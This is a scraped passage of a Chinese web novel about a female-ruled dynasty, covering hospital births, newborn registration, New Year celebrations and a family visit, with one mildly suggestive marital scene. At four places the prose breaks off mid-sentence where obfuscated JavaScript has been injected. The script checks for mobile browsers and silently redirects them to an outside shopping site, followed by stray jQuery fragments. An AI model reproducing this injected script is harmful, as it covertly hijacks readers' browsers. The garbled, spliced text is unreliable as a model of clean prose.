看着小向蹦蹦跳跳的背影,吴大夫无奈地叹了口气:“臭丫头,跑那么快,我还没说完呢……”虽是这样说着,但她的眼里却满是笑意。她同样为大朝又新增一位同胞感到开心,也愿意包容小向的孩子脾气。 听到吴大夫的话,商茁朝前走了几步,问道:“吴大夫,您还有什么事要小向做吗?刚好我们要去前面了,可以替您转达给小向。” 吴大夫不认识商茁,但却认出了她身后的赵国安,她轻笑着说:“你是国安的朋友吧?欢迎来咱们产院玩。” 赵国安盯着吴大夫的眼睛看了会,恍然大悟,“吴泉姐?!竟然是你!” 吴大夫眯着眼睛笑了笑,“小安子,你竟然现在才认出我!亏我之前还给你买了五串糖葫芦。” 赵国安挠了挠头,解释道:“你今天蒙得太严实了,就露一个眼睛,我能认出来已经很不错了。而且你变化也太大了吧!我上次见你,你还在爬树……” 见她要揭自己的短,吴大夫连忙打断,“诶诶诶!你这人也真是的,你也不想想你上次见我是几年前。好了,我还有事要忙,就不多聊了。你们路过大厅的时候,让阿向她们帮崔女君找个奶公,她此次是独身一人来京城办事,身边没有带夫侍,得快点,待会儿孩子该饿了……” 两人回前面的时候,赵国安沉浸在小时候一起爬树的姐姐,现在竟然已经能独当一面的接产了的震惊中。 直到商茁唤了她好几声,赵国安这才回过神,“嗯?阿茁你叫我?” 商茁点点头,问道:“国安姐,奶公好找吗?要是一时半会找不到,那为女君的孩子岂不是要饿肚子了……” 商茁能从名字中猜出奶公就是帮孩子哺乳的男人。但之前和赵国安聊天中得知,男人给孩子哺乳也不过就二十三年的时间,给自己的孩子哺乳这件事都要靠武力镇压,真的有男人愿意给别人的孩子哺乳吗? 赵国安却一脸淡定地说:“估计不用咱们自己找,就会有人主动上门自荐。我小时候在外祖母家住过一段时间,那时候很多男人整日守在产院门口,就等有人雇奶公了,好能第一时间让人家相看。由于后来奶公太多,影响产院做生意,外祖母便不许他们在守在产院门口了。” “但是,有的奶公家里有人在产院任职,就会私下牵线搭桥;还有的奶公给了产院的小厮或者女侍一些“消息费”,有人需要雇奶公的时候,她们也会和这些人提前透漏些风声。” 听完商茁有些讶然,在心里感叹道:“好家伙,这都搞出产业链了!”随即,她向赵国安问道:“国安姐,当奶公很赚钱吗?” 赵国安摇摇头,“也就挣个辛苦钱。不过男子一般很难找份差事,奶公算是为数不多男子可以正当抛头露面的活计。” 果然,两人刚走到门口,就见产院的门口站着一个男子,目光殷切地望着产院大堂。 赵国安把吴大夫的话转达给了在大堂站着的阿程。 听完,阿程便熟练地冲门外的男子招招手。男子眼睛一亮,小跑着来到了大堂。阿程朝他上下打量了一圈,确认男子浑身上下干净整洁后,这才带着他往后院走去。 到了下午,商茁几人准备回赵家,钱宁特意到门外相送,却不料,胎儿发动了。 钱宁的两个夫侍顿时手足无措,急得团团转,却不知道该做什么。 商茁当机立断,来到钱宁身侧,一手托住她的背部下方,一手托住她的臀部和大腿,侧身托抱住她,步伐平稳地往产房走去。同时对赵国安说道:“国安姐,快去请吴院长!” “我马上去!”赵国安点点头,飞快地往外祖母的书房跑去。 见商茁已经抱着妻主走回产院了,阮田和白蜜两人急忙跟上。 将钱宁送到更衣室,交给赶过来的助产士后,商茁这才松了口气。 不一会儿,赵国安也背着吴院长小跑过来。从外孙女的背上下来后,吴院长捶了捶自己的腰,轻笑道:“还是年轻人跑得快啊,我搁我自己,还得再走一好会儿……” 见助产士已经给钱宁换好产裙,吴院长直接让她们把人推进产房,自己则是来到更衣室换了身接产时的衣服。 一切完毕后,吴院长进入产房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039082|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,产房大门缓缓合上。 商茁和赵国安沉默地看着产房大门,有了上午陪产的经历,两人此时都已淡定许多,但钱宁的两个夫侍却紧张到小声啜泣起来。一旁的赵父温声安慰着他们,可依然无济于事。 赵国安回头看了眼两人,不耐烦地训斥道:“哭什么哭?你们妻主好着呢!一个个的低眉塌眼的,丧气!” 被赵国安训斥一通的两人,立马噤声,不敢再继续哭下去。 和上午那位崔女君差不多的时间,产房的大门便被打开。吴院长看了眼众人,轻叹道:“小钱生了个男孩,不过她还年轻,以后有的是机会生女儿。你们当夫侍的定要好好照顾妻主,让她把身体调养好。” 钱宁两个夫侍连连点头。 不一会儿,两个助产士一个推着钱宁,一个抱着婴儿走了出来。商茁瞟了一眼襁褓里的孩子,小小的一个,跟个小猫似的。 钱宁精神还好,并不无狼狈之色。她对商茁等人淡淡一笑,“这次多谢商女君和国安表姐了,待我修养好后,定要请你们两个小酌几杯。” 赵国安摆摆手,“这些都不重要,你好好休息。” 商茁也点头应和道:“嗯嗯,钱女君你好好休息,切勿劳累。” 听到两人的话,钱宁脸上的笑意真诚了许多,“我会的。” 赵父在一旁看着助产士怀中的婴儿,夸赞道:“小宁,这孩子长得和你真像,小小年纪就能看出是个美人胚子,长大以后肯定是个姿容出众的美人。” 钱宁只是淡淡地笑着,并没有搭话。 赵国安看了眼天色,向钱宁提出了辞行,“阿宁,天色不早了,我们就先回去了。” 钱宁点点头,示意夫侍接过孩子,“国安表姐,你们路上小心,我就不送了。” 几人走后,钱宁脸上的笑容瞬间消失,她面无表情地看了眼孩子,心下有些烦躁。她母亲钱老板今年来身体大不如前,曾放话,“谁先生下长孙女,哪房就继承家产。” 钱家除了钱宁,只有钱老板和原配生的是女儿,因此,钱宁和长姐一直暗中较劲。年前长姐生了个男孩,钱宁还高兴了许久,没想到自己今日竟也生了个男孩。 “呜呜……” 孩子的哭声打断了钱宁的思绪,让她本就不佳的心情更加烦躁。一旁的助产士看向两个男人,“孩子饿了,你们谁给孩子喂奶?” 闻言,两人目光忐忑不安地望向钱宁。 钱宁的目光从两人的脸上扫过,最终定格在阮田的脸上,“阮阮,这个孩子就记在你的名下吧。” “多谢妻主!”阮田惊喜地瞪大了双眼,连忙跪地给钱宁叩首行礼。 名下有孩子的男人,老了以后才不会被赶出家门,哪怕只是个男孩,都能让他留在钱家安稳到老。阮田之前听闻其他人家有的夫侍,伺候妻主一辈子,都没能被妻子指个孩子,妻主走后,就被新的家主给赶出家门,只能流落在外……因此,当妻主说把这个孩子记在他的名下,阮田才会大喜过望。 从助产士手中接过孩子后,阮田一边给孩子喂奶,一边认真地听着助产士教导的照顾孩子的注意事项。 三言两语交代了怎么照顾孩子后,助产士又对钱宁另一个夫侍细细地嘱咐着该怎么照顾妻主,怎么给擦洗身体、怎么做适合妻主修养期间的餐食、要多加留心妻主的情绪,要让她心情舒畅…… 白蜜全神贯注地听着助产士的教导,眼睛都不敢眨,生怕漏听了什么。 22. 第 22 章 翌日清晨,得知姪女已经生产的赵大山,一大早就骑着自家的大黑骡往城里赶去。 到了吴氏产院,赵大山拴好骡子后,先去岳母的书房拜见了岳母,之后才去后院的休养院看望姪女。 赵大山过来的时候,钱宁正在吃早饭,两个夫侍一个正在哄孩子,一个伺候她用饭。 “小宁,你身体怎么样?”赵大山把带来的补品放到桌子上,对钱宁问道。 钱宁刚想起身,就被赵大山按了回去,“起啥起,都是自家人,就别整那些虚礼了。” 钱宁看着这位一贯豪放不羁的姑母,却觉得心里暖暖的。虽然从小和姑母见面不多,但在钱宁的心里,她却比父亲更亲近、更加可靠。姑母从来都是表里如一,对她的好是不掺杂质、不求回报的真情。 钱宁笑着对赵大山说:“姑母,您怎么来了?” 赵大山拉了张凳子,大咧咧坐在了钱宁床前,“我听你国安姐说你昨天下午突然生产了,你是我姪女,我怎能不来看你?” 说着,赵大山指了指自己带的补品,对一旁的白蜜说道:“这些都是帮助产妇补气血的上好补品,你每日给小宁炖一碗,炖得时候仔细点,切记不要炖过头了……” 白蜜连连点头,恭敬地说自己记住了。 和姪女闲聊了会儿,赵大山又从怀中取出一个盒子递给钱宁,“之前听说你怀孕时,我就给你腹中的孩子备好了。虽然钱家肯定也会给孩子准备,但这是我做姑祖母的一点心意。” 钱宁打开盒子,里面是一块银质长命锁。她愣了下,在钱家只有女儿出生才会有长命锁,男孩是没有的。钱宁取出长命锁,手指轻轻抚过长命锁上的祥云纹路,看到锁身上“长命百岁”几字时,她的目光不由一软。 赵大山看到姪女在看锁身上的字,爽朗一笑,“你姑我是个粗人,想不来什么文雅的词,就祝孩子长命百岁、健康长寿吧。” 钱宁温声说:“这就是极好的祝福了。”说着,她示意夫侍把孩子抱过来。 带上长命锁后,钱宁觉得怀中的孩子好像变得可爱了些,没有让她那么不喜了。 赵大山伸手点了点孩子的脸蛋,轻声问:“孩子起名了吗?” 钱宁摇了摇头,半真半假地和赵母开玩笑道:“要不姑母帮孩子起个吧。” 赵大山连连摆手,“那怎么行,孩子的名字都是由母亲起的,你学问好,起个名字对你来说那还不是轻轻松松的……” 钱宁沉思片刻,开口道:“引玉,就叫他引玉吧。” 赵大山称赞道:“这名字好,听着也好听。” “咚咚” 两人说话间,门外突然响起敲门声。 得到妻主的示意后,白蜜连忙上前开门。 看到门外站着两个身穿官服的高大女人后,白蜜下意识地后退一步,他低着头,嗫嚅着说:“不知、不知两位大人是有何事?” 领头的那位女子冷声问道:“钱宁,钱女君可在?” 听到有人找自己姪女,赵大山也起身向门外走去,看到两人身上的“女子护持司”的官服,赵大山就知道是怎么回事了。 “两位大人是来登记孕妇生产信息的吧?”赵大山冲白蜜摆摆手示意他退下,自己来和官差交谈。 看到出来了位女子,官差脸上的表情柔和许多,“正是。” “二位随我来吧。”赵大山招呼着两位官差来到钱宁床前。 按照程序,两位官差一个负责询问钱宁的个人信息,另一个则从口袋中取出一支笔,在手中的文书上飞速地记录着。 如果商茁在这里,她一定能认出记录文书的那名官差手中的笔——正是现代社会中常见的钢笔。 确认墨迹干了以后,负责记录的那名官差把其中一份文书递给了钱宁。“钱女君,信息已经登记好了,您之后凭借这份文书,可以在户籍所在地每月领取五两银子,为期一年。之后生活有什么困难,随时可以到当地的‘女子护持司’寻求帮助。” 钱宁双手接过文书,感谢道:“多谢大人。” 登记完后,两名官差起身后向钱宁行了个标准的军礼,“钱女君,在此我们代表大朝向您致以崇高的敬意,感谢您为大朝诞下新的生命,大朝会永远铭记子民为她所做的一切贡献。” 两名官差走后,赵大山又陪姪女待了会儿,这才起身离开。 …… “啪!啪!” 屋外传来几道炮竹声,和孩童们的欢笑声。越靠近年关,炮竹声就越多。大街小巷里到处都是嬉笑打闹的小孩子,放假后,一个个就像终于飞出笼子的鸟儿一般,恨不得将整片天空都遨游一遍。 相比欢声笑语、无忧无虑的孩子们,大人们过年时的活计就繁杂得多了。女人们要赚足家里过年的银钱,再把家门上褪色的旧对子揭下,换成红纸浓墨的崭新对子。男人们则是需要精打细算,为家里尽可能地置办丰富的年货,过节必不可少的鸡鸭鱼肉、孩子们爱吃的糖果点心、柑橘、柿饼……手巧的夫婿还会为一家人缝制身新衣,象征辞旧迎新。 除夕前一晚。商茁和赵国安正趴在火炕上下五子棋,两人说好,输的人要在脸上贴一张纸条,结果赵国安脸上贴了四五张纸条了,商茁脸上还是干干净净的。 就在赵国安即将再次输棋时,房间的门被人敲响了,赵父的声音从门外传来。“安安,阿茁,你们睡了吗?” “没呢!”赵国安起身踢踏着鞋子就去给赵父开门。 门外的赵父捧着两身新做的衣服走了进来,“我给你们俩一人做了一件新衣,你们试试合不合身~” 商茁看着眼前这件针脚细密、纹样精细的红袍,忍不住惊叹道:“哇!叔叔您手也太巧了!这衣服比我在成衣店买的都好……” 赵国安一脸骄傲地说:“那是!我爹做的衣服十里八村都排得上名号的!而且我爹有个独门绝技,只要看上一眼,就知道你穿多大的衣服,保准你穿上合身!” 闻言,商茁的夸赞更是跟不要钱一样往外冒。“叔叔,您简直仙男下凡,人长得漂亮不说,做饭还好吃,就连衣服也做得这么好,您这么贤良淑德,可让其他男人该怎么活啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047859|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赵父被两个孩子一连串的夸奖,夸得晕头转向,一阵阵热意往脸上涌,整个脸像涂了胭脂一般。赵父不好意思地捂住脸颊,匆匆跑出了女儿的卧室,屋子里的两人只听到一句,“要是哪里不合适,国安你把衣服拿过来,我再改改~”话音未落,人已不见踪影。 屋子里的赵母正在给两个孩子准备明日的红包呢,就见夫婿跟被鬼追一样逃回了屋里,捧着着自己的脸,不知道傻乐什么。 “阿兰?”见夫婿没有反应,赵母走到赵父面前,伸手勾起他的下巴,调笑道:“喝蜜了?笑得这么开心~” 赵父嘟嘟嘴,娇嗔道:“比喝蜜还甜~” 赵母一脸坏笑,“是吗?我尝尝……”说完,便低头吻向夫婿水润的粉唇。 “唔~”赵父身体贴着墙壁,努力仰着头,承受着妻主的采撷。 一吻结束,赵母伸手摩挲着夫婿的唇角,眼底的□□渐渐升起。她将夫婿一把抱起,朝床边走去。 “啊~”身体突然腾空的赵父惊呼一声,突然又想到什么,低声道:“门、门还没锁……” 赵母将夫婿放到床上,又拐回去将门栓落上。在赵父羞涩的目光中,一步步走回床边。看着床上虽不在年轻,但依然清丽动人的夫婿,赵母一个俯身,精准地吻上了赵父的喉结。 “嗯~”那股熟悉的触感,隔着一层薄薄的喉结罩,阵阵袭来,湿热、麻痒,让人欲罢不能…… 随着一颗颗扣子被解开,赵父白皙的肌肤露了出来,在冷空气中一阵瑟缩。 “妻主,我冷~”赵父哼咛道。 赵母眼中翻腾着汹涌的情欲,她俯身吻了吻赵父的耳垂,声音低沉沙哑,“等会儿就热了。” 赵父垂下眼眸不敢直视赵母,只是随着赵母的动作,死死地咬着唇。 屋内的烛光摇曳不停,映得帐幔里忽明忽暗,床上两道呼吸声交织在一起,谱写着欢愉的乐章。 次日,商茁在一阵阵炮竹声中醒来,她推了推身边的赵国安,“国安姐,快醒醒,你不是说今早的炮竹由我们来放吗?!” 赵国安迷迷糊糊地睁开眼,“呃……炮竹?对!我们今早要放炮竹!” 两人飞快地换好赵父给她们新做的衣裳,然后起身来到院子。 “两位女君晨安,两位今日可真是俊秀极了!”仆夫笑着对两人夸赞道。 商茁笑着调侃道:“赵伯,难道我和国安姐往日不俊秀么?” 赵伯连忙解释道:“俊秀的!只是今日换上夫人为你们做的新衣,格外俊秀!” 商茁看了看自己和赵国安的新衣,笑着点点头,“是啊,兰叔叔的手艺没的说~” 说到这儿,商茁疑惑地问道:“赵姨和兰叔她们二位出门了吗?”要按往常,这个时候赵母指定在院中打拳,而赵父则是在厨房张罗着一家人的早饭。 “这……”仆夫面露难色,“家主和夫人还未起……” 想到昨晚赵国安拉着自己玩到大半夜,而今早赵母赵父又起晚了,商茁暗忖道:“难道这里是二十九就开始守岁?” 23. 第 23 章 这时,赵国安抱着一箱鞭炮从库房走了出来,兴冲冲地说:“阿茁,走!我们去那边的空地上放。” 商茁便也不再多想赵母赵父为什么起晚的事了,兴奋地跑了过去。“来啦!” 两人将鞭炮挂到一旁的树枝上,拿起点燃的线香伸向鞭炮的引线下,“滋——”引线上的小火星迅速向上燃起,商茁和赵国安捂着耳朵飞快地往后面跑去。 “噼里啪啦……”鞭炮的声音在两人身后响起,两人小跑至屋檐下,相顾一笑,共同观赏着这场古老的辞旧仪式。在弥漫的青烟中,红色炮纸向四周散落而去,像是独属冬日的飞舞的花瓣。 炮声停歇后,院子里到处弥漫着硝烟味儿,还有散落一地的炮纸。商茁和赵国安两人一人一把扫把,默契地打扫着地上的炮纸。 赵伯把饺子盛好,正准备喊赵国安和商茁吃饭,就看到了两个女郎在打扫院子,他胡乱在围裙上擦了擦手,赶忙向院中跑去,边跑边喊道:“女郎们快放下!这怎么使得!女郎的双手是用来打天下的,怎么能做扫地这种粗活儿!我来就好!”说着,赵伯便想接过赵国安手中的扫把。 赵国安侧身躲过,不在意地笑道:“赵伯,这都是些小活儿,我们在军校也常干的。你去歇着吧,马上就扫完了。” 赵伯急得直拍大腿,“哎呦我得姑奶奶,您可是位女郎!怎么能干这种脏活儿呢,这都是男人干的……” 一旁的商茁把炮纸扫进簸箕,笑着劝慰:“赵伯,古人有言,‘一屋不扫何以扫天下?’更何况,我们在军校里,连泥坑都摸爬滚打过了,扫个地又算什么。” 赵伯有口难言,只得求饶道:“小祖宗们,你们就饶了我吧!我一个连字都不认的蠢男人,哪里懂得这些个大道理呢……女人不能扫地,这可是老辈子传下来的规矩……” “砰——啪!” 几人正说着,隔壁的鞭炮声响起。赵国安扭头看向隔壁,兴奋地说:“阿英姐她们家也煮好饺子了!一爷爷包的荠菜鸡蛋馅儿的饺子可好吃了!” 赵国安说话的工夫,赵伯趁机夺过她手里的扫把藏到身后,笑眯眯地提议道:“女郎不如和以前一样,盛盘咱们家的饺子,和英女郎家的做交换?” 赵国安刚想说好,又想起死缠烂打的赵春花,最后还是讪讪地作罢。“算了,您又不是不知道……唉,没事了。” 虽然赵国安并没有说为什么,但赵伯还是猜了个八九不离十,他眉头紧蹙,一脸厌恶道:“春花那孩子小时候还挺乖顺的,长大了不知怎么如此不知羞耻,整日粘着咱家女郎,也不怕别人笑话!要我说,他那个样子……” “赵伯!”赵国安厉声打断了他未说出口的恶言,看着赵伯被吓得一哆嗦的样子,赵国安又不忍训斥他了,最后轻叹一声,朝他摆摆手,“帮我们打盆热水吧,我和阿茁要净手吃饭了。” 赵伯笑着应下,“热水早就给女郎准备好了,我这就去端过来~” 刚朝厨房走了两步,赵伯突然想到了什么,又折回来,一把抢过商茁手里的扫把,“二位女君可不能再扫了!留着我来干,今日是辞旧迎新的好日子,女郎们可不能沾染晦气……” 商茁和赵国安净好手,刚吃了两口饺子,就听到“吱呀~”一声,赵母打着哈欠走了出来,身后跟着满面春色的赵父。 “娘,你们今日怎么起这么晚!我和阿茁都放完鞭炮了!”赵国安不满地嚷嚷。 赵母睡眼惺忪地搓搓脸,朝女儿摆摆手:“你老娘我放了这么多年鞭炮,今年终于不用早起,睡个懒觉怎么了~你以前睡懒觉,我可没说你。” 赵国安朝母亲狗腿一笑:“娘,您快去洗漱吧~饺子都要凉了……” 赵母点了点女儿的脑袋,起身拉着夫婿去外面洗漱。。 …… 到了晚上,一家人围坐在火炉前闲聊。赵父还拿了几个橘子放在炉上的铁丝网上烤着。 赵母给她们讲起年轻时在军营的经历:“我正跟一个鞑兵厮杀,另一个鞑兵趁我不备偷袭,眼看刀就要砍到我头上,我的战友赶了过来,一下子挑开那狗爹养的刀,三两下就把人杀了,我也才解决掉对面的鞑兵。当时不觉得怕,后来每次回想都后背冒冷汗,要是战友没赶过来,我早就投胎了……” “所以说,你们一定要珍惜并肩作战的战友,在战场上,战友就是你最亲的人。” 赵国安听得津津有味,好奇地朝母亲问道:“娘,你那个战友现在在哪儿呢?怎么不见你们联系了?” 提到这儿,赵母就想起自家弟弟办的糟心事,她长叹一口气:“唉!我对不住她啊!” 赵父之前听妻主提过这事,见女儿还要追问,笑着把剥好的橘子递给她:“橘子烤好了,安安尝尝甜不甜~”说着,又递一个给商茁:“小茁也吃~” “砰!砰!” 不知哪家起的头,一声炮响后,炮竹声、烟花声便接连不断。 赵母看向窗外,“已经子时了?” 赵国安拉着商茁就往外跑,““可以放烟花了!阿茁,我跟你说,我买的可是今年新款!卖烟花的嬢嬢说这个能放出七种不同的花样!” 商茁捂着耳朵站在屋檐下,看着赵国安兴奋地放着一个又一个烟花,五彩斑斓的烟花把赵家小院的上空装点得绚烂无比。 赵父依偎在赵母肩头,笑意盈盈地说着话,赵母拉着夫婿的手,含笑望着漫天烟花。 直到很久以后,商茁仍记得这一幕。虽然没有血缘关系,但她却在赵家感受到了家的温暖。 最后不知玩到几时,商茁实在撑不住了,便拉着赵国安回去睡了。确认两人睡熟后,赵母拿出早已准备好的压岁钱,轻手轻脚走进女儿房间,在赵国安和商茁的枕头下各放了一个红包。 看着两个孩子熟睡的模样,赵母无声一笑,悄悄走出房间,轻轻地关好房门。 回到房间,赵父已经换上了寝衣,正坐在梳妆台前通发。看到妻主回来,他笑着问道:“都放好了?” 赵母点点头,来到夫婿身后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051642|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过梳子替他继续通发,“明年就趁孩子们放烟花的时候,直接把压岁钱直接给她们放到枕头下。这跟当‘贼’一样,搞得我大气都不敢出。” 赵父瞪大眼,反驳道:“那怎么行,这样孩子们不就知道钱是我们放的吗?” 赵母被夫婿的话逗笑,“她们又不是三岁小孩儿了,你不会觉得她们真的以为压岁钱是天上的母神给她们的吧?” 赵父嘟嘟嘴,闷闷不乐地说:“反正我不同意,压岁钱就是要母亲偷偷藏在孩子枕头下才行,这样才是真的压岁钱……” 赵母笑得见牙不见眼,“那看来我之前收到的都是□□喽~我小时候哪有这么多花样,连晚上都不到,我娘就把压岁钱直接给我了。我觉得还挺美,比其他小孩都要先拿到压岁钱。” 赵父转过身抱住赵母的腰,把头埋在她的肚子,声音闷闷的,“委屈您了……” 赵母摸了摸他的头发,柔声道:“那倒没有,我娘对我还是挺好的,毕竟是亲闺女。”说着,赵母拍了拍赵父的肩膀。“好了,天色不早了,咱们睡吧。” 闻言,赵父耳朵一红,羞羞答答地应了声,跟在妻主的身后上床休息。 …… 初一的清晨,商茁被赵国安叫醒,“阿茁,新岁纳福!快起来收压岁钱啦!” 商茁半睡半醒地睁开双眼,看着赵国安眉开眼笑地拆着手中的红包,随后一声惊呼,“哇!我娘发财了?今年出手这么阔绰!” 红包里面赫然是一张崭新的五两银票,上面写着“大朝宝钞”,通体印刷着复杂的纹路。 赵国安对躺着的商茁连声催促,“快快快,阿茁,你快拆红包!里面有五两银票!” 商茁伸手朝枕头下摸去,果然摸到了一个方方正正的东西,她将红包抽了出来,坐起身,在赵国安期待的目光中打开了红包,里面是和赵国安一模一样的五两银票。 赵国安笑着对商茁说:“往年我娘一直都是只给我一两的压岁钱,阿茁,今年沾你的光,竟然能收到五两!” 商茁眉眼弯弯,柔声道:“恰恰相反,应该是我沾国安姐的光,如果不是你邀请我来你家的话,我连一文的压岁钱也没有。” 赵国安拍了拍她的肩膀,笨拙地安慰道:“我母亲和父亲都很喜欢你,以后我家就是你家,咱们往后每年都一起过年……” 商茁笑着点点头,“好,以后都要一起过年。” 两人起床后,发现赵父已经做好早饭了。 看到桌上各种样式的早点,商茁忍不住夸赞道:“我之前一直以为好男人只存在‘乙游’里,没想到现实里竟然能有兰叔叔这样上得厅堂下得厨房的完美男人……” 赵国安好奇地问:“‘已油’是哪里?” 商茁脸上带着怀念,“‘乙游’……呃,你就把它当成桃花源吧,里面的男人个个专一深情、温柔善良、体贴贤惠……” 赵国安不解地说:“大朝的男人不都这样吗?” 商茁:“……确实哦。” 24. 第 24 章 由于赵大山这边亲戚并不多,而且还和唯一的弟弟几乎不来往了,所以赵家过年期间比普通人家要清闲许多。所以赵家人只需要初二回赵吴氏娘家时交际应酬。 这次来吴家,商茁见到了赵国安口中的明月表姐。和赵国安高大健硕的身材不同,吴明月身材偏清瘦些,但是同样个子高挑。 听到门房通禀姨母姨父一家人来了时,吴明月快步向门外迎去,看到赵家几人手中拎着满满当当的礼品,吴明月连忙吩咐下人接过来。 她脸上挂着温柔的笑意,冲赵母赵父行了一礼,“姨母、姨父,新年吉祥~” 赵吴氏连忙扶起姪女,“快快起来,你这孩子~都是自家人这么客气干嘛~” 吴明月不好意思地说:“听闻姨父和表妹上次来产院了,我一直呆在产房学习接产,也没能去拜见姨父……次日姨母来的时候我也不知道,姪女实在是心底愧疚……” 赵大山拍了拍吴明月的肩膀,爽朗一笑:“你学习接产这是正事儿,你姨父肯定不会怪你,我就更不用说了,本来就是私下去的。好了,大过年的,就不说这些怪来怪去的话了。” 赵大山伸手从怀里取出一封还带着体温的红包递给吴明月,“明月,新年安康,愿你新的一年医术更加精进,早日独当一面!” 吴明月双手接过红包,又对赵大山行了一礼,“姪儿多谢姨母。” 赵国安从母亲身后走出,咧着一嘴白牙对表姐笑道:“明月姐,新年如意!” 吴明月目光温和地看着许久未见的表妹,“国安,新年安康。上次见你还是在祖母的寿辰,一转眼你已经是副大人的模样了。” 赵国安笑着挠挠头,又指着旁边的商茁介绍道:“明月姐,这是我的义妹,她和我都是军校生。” 吴明月笑着看向商茁,“阿茁妹妹,新年安康。我听祖母说起过你,她老人家一直夸你是个文雅知礼的青年才俊,今日一见果然非同一般。” 商茁谦逊地说:“吴老她老人家过奖了,明月姐珠玉在前,我怎好意思称青年才俊。” 几人谈笑间,赵吴氏的哥哥吴梅迎了出来。他走上前,亲热地拉住弟弟的手,对众人招呼道:“这么冷的天,都站外面干嘛,走走走,都进屋坐~” 和温柔似水的赵吴氏不同,吴梅的性格外向泼辣,虽说是双生子,可两人的性格一点也不像。一路上吴梅拉着弟弟叽叽喳喳地说个不停,赵兰时不时地点点头,或者轻声应和下哥哥的话。 走在他们身后的四个女人,则是被两人抛之脑后。吴明月无奈地看了眼父亲的背影,一脸歉意地说:“父亲太久没见过姨父了,心里想念得紧,这才有失分寸,还请姨母见谅。” 赵大山不在意地摆摆手,“我都习惯了,你爹这脾气几十年前就这样。一看见你姨父就跟护犊子的老公鸡一样,恨不得将弟弟护在翅膀下,当初我上门提亲时,他就差拿把菜刀架我脖子上,让我发誓一辈子对你姨父好。” 听到姨母这般调侃的话语,吴明月并没有生气,反而笑着应和道:“父亲和姨父是双生子,两人感情自然会更亲厚些。” 几人来到客厅,屋子里生着地龙,整个屋里都是暖烘烘的,不一会儿就将几人身上的寒意给驱散了。 看到屋里的吴青松,众人纷纷上前行礼,“母亲/祖母/外祖母,新年安康~” 吴青松笑容满面地抬抬手,“好好好,新年安康,都快起来吧~”又转头吩咐一边的下人把自己准备好的红包拿过来,笑眯眯地给一屋子的晚辈发红包。 让商茁惊讶的是,吴青松不光给她们这些孙辈准备了红包,连赵母、赵父这些已经为人母父的大人也有份儿。 几人聊天时,赵大山环顾了一圈,也没看到自己的连襟,朝吴梅问道:“怎么没看到英研?” 吴明月温声道:“今日有产妇生产,母亲还在产院值班。” 一旁的吴梅撇了撇嘴,不开心地说:“天天就知道值班!好似产院就她一个大夫似得!明知道今日小弟和弟妻她们都会来,就不会让其他人加班么……” 主位上的吴青松皱了皱眉,对大男儿呵斥道:“阿梅慎言!英研一天天这么辛苦还不是为了能让你和孩子能过得更好?你身为人夫,不说体贴妻主,竟然还在抱怨,你的男德都学到哪里去了?!” 看到母亲发火,吴梅的气焰顿时消失得无影无踪,他弱弱地替自己辩解道:“之前妻主明明答应过我,今天要在家招待弟妻一家的……” 吴明月连忙替母亲解释:“今日马大夫突然临时有事,母亲没办法只能去顶班,不然今日产院就忙不过来了。母亲说了,会在午饭前赶回来的。” 吴梅闻言,轻哼一声,“这还差不多。” 吴青松看着刁蛮的大男儿,头疼地捏了捏眉心,对男儿道:“你往后把你这副臭脾气给我收起来!得亏人家英研脾气好,不跟你一般见识,要搁早些年,你这样的,不光自己要蹲大牢,还得连累一家人挨板子!” “明月已经长大成人了,马上也要定婚事了,就你现在这个样子,哪个好人家敢把男儿嫁到我们家?” 吴梅小声嘟囔着:“我女儿这么优秀的女君,多的是好男郎想嫁……” 看着他这份冥顽不灵的样子,吴青松重重地把手中的茶杯放到桌子上,“你若是再这般死性不改,以后就不要喊我母亲了!” 一向慈爱的吴青松第一次发这么大的火,把在场的众人都吓了一跳,特别是被训斥的吴梅,他再也没有一开始趾高气昂的样子了,惨白着脸给母亲跪下认错,“母亲我错了,我以后保证不再犯了,您就饶了我这次吧……” 其他人也纷纷求情,吴明月也朝祖母跪了下去,“请祖母息怒,都怪孙儿不好,平时看到父亲言行无状却未指出,祖母您责罚孙儿吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054489|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 